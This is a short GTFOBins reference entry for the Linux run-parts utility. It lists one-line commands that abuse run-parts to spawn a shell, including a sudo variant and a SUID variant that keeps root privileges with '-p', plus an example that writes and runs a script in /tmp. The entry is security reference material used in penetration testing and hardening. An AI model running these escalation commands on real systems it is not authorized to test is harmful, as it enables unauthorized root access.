GTFOBins.github.io/_gtfobins/run-parts.md
2024-08-27 13:23:35 +02:00

577 B

functions
shell sudo suid command
code
run-parts --new-session --regex '^sh$' /bin
code
sudo run-parts --new-session --regex '^sh$' /bin
code
./run-parts --new-session --regex '^sh$' /bin --arg='-p'
description code
Execute all executable scripts in a specified directory. In this case, the command runs all scripts in `/tmp/run-parts/`. mkdir -p /tmp/run-parts/ printf '#!/bin/sh\n/bin/sh -c "/bin/id > /tmp/id.out"\n' > /tmp/run-parts/id && chmod +x /tmp/run-parts/id run-parts /tmp/run-parts